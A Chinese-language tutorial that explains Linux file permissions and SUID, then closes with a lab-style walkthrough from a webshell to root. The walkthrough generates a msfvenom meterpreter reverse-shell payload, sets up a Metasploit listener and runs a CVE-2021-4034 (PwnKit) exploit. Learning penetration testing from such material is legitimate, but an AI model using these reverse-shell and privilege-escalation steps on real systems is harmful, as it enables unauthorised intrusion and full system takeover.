从web漏洞到linux权限提升
- 一、Linux系统介绍与使用
- 二、Linux权限说明
- 2.1、文件权限
- 2.2、linux文件、目录权限说明
- 三、权限提升
一、Linux系统介绍与使用
- linux-全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,是基于POSIXI的多用户、多任务、支持多线程和多CPU的操作系统。能运行主要的Unix工具软件、应用程序和网络协议。支持32位和64位硬件。
- Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。Lniux有上百种不同的发行版,如基于社区开发的debian、archlinux,和基于商业开发的Red Hat Enterprise Linux、SUSE、Oracle Linux等。
二、Linux权限说明
- 当我们使用kali用户登录系统后可以发现我们无法进入一些目录和查看一些文件,会提醒我们权限不够,那我们就只能切换为root用户才能进行访问。
- 可见在Linux系统中的用户权限时非常重要的,在inux中存在多个用户,多种用户他们互相工作时是不会相互造成影响的。
2.1、文件权限
文件的权限针对三类对象进行定义:
owner
属主,缩写u
– 创建这个文件的用户,所有人group
属组,缩写g
– 创建这个文件的所属用户存在的组(默认创建一个用户会生成一个组,以用户的名字去进行命名)other
其他,缩写o
– 其他的用户所有人- 每个文件针对每类访问者定义了三种主要权限:
r
:R
ead 读w
:W
rite 写x
:eX
ecute 执行
另
X
:针对目录加执行权限,文件不加执行权限(因文件具备执行权限有安全隐患)
注意:root账户不受文件权限的读写限制,执行权限受限制
2.2、linux文件、目录权限说明
-
文件权限
r
读取文件内容w
修改文件内容x
执行权限 //对除二进制以外的文件没有什么意义
-
目录权限
r
查看目录下的文件列表w
删除和创建目录下的文件x
可以cd进入目录,能查看目录中的详细属性,能访问目录中的文件内容(基础权限)
-
权限对应数字及读取规则
r
读 数字表示形式为4w
写 数字表示形式为2x
执行 数字表示形式为1chmod
-
可组合利用,则给予读写权限表示为6,读写执行权限为7以此类推可相加使用。
-
用户获取文件权限的顺序:先看是否为所有者,如果是,则后面权限不看;再看是否为所属组,如果是,则后面权限不看。
chomd o+w 1.txt #other,其他人对文件1.txt多了写的权限
-
特殊权限suid权限
- 作用:给一个用户继承二进制程序所有者拥有的权限(可以暂时借用root权限)
suid
权限位位于所有者的执行权限位上,如果一个文件具有suid权限,则所有者执行位为s
,文件表现为红色背景- 实例如下:
suid
只适合作用在二进制程序上。
-
chmod命令修改权限
- 权限管理命令:
chmod
- 命令名称:
chmod
- 命令英文原意:change the permissions mode of a file
- 命令所在路径:/bin/chmod
- 执行权限:
chmod【{ugoa}{+-=}【文件或目录】
【mode=421】【文件或目录】
-R
递归修改
- 功能描述:改变文件或目录权限
- 范例:
$chmod g+w testfile
赋予文件testfile所属组写权限$chmod -R 777 testdir
修改目录testfile及目录下文件为所有用户具有全部权限
- 赋予特殊权限suid
chmod u+s file
数字表示:chmod 4755 file
- 权限管理命令:
-
chown命令修改所有者权限
- 权限管理命令:
chown
- 命令名称:
chown
- 命令英文原意:change file ownership
- 命名所在路径:/bin/chown
- 执行权限:所有用户
- 语法:
chown 【用户】【文件或目录】
- 功能描述:改变文件或目录的所有者
- 范例:
$chown yiye fengjie
改变文件fengjie的所有者为yiye
- 权限管理命令:
三、权限提升
假设已经上传shell.php的一句话木马文件到目标主机的网站根目录,并且使用蚁剑成功连接。
1、生成Linux的后门木马文件。
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.9.148 lport=10010 -f elf -o yiye.elf
2、通过蚁剑上传木马文件到目标主机。
3、通过蚁剑赋予木马文件执行权限。
4、通过msf控制台配置监听器。
┌──(root㉿kali)-[~/Desktop]
└─# msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > set lhost 192.168.9.148
lhost => 192.168.9.148
msf6 exploit(multi/handler) > set lport 10010
5、开启监听。
6、通过蚁剑运行木马程序。
7、获得会话,权限不够需要提升。
8、通过漏洞cve20210-4034进行提权。
- 漏洞exp地址
https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip
9、将文件上传。
10、通过kali输入shell
进入目标交互系统。
11、使用python语句 python3 -c 'import pty;pty.spawn("/bin/bash")'
获取交互shell。
12、使用python执行提权脚本。
python3 cve2021-4034.py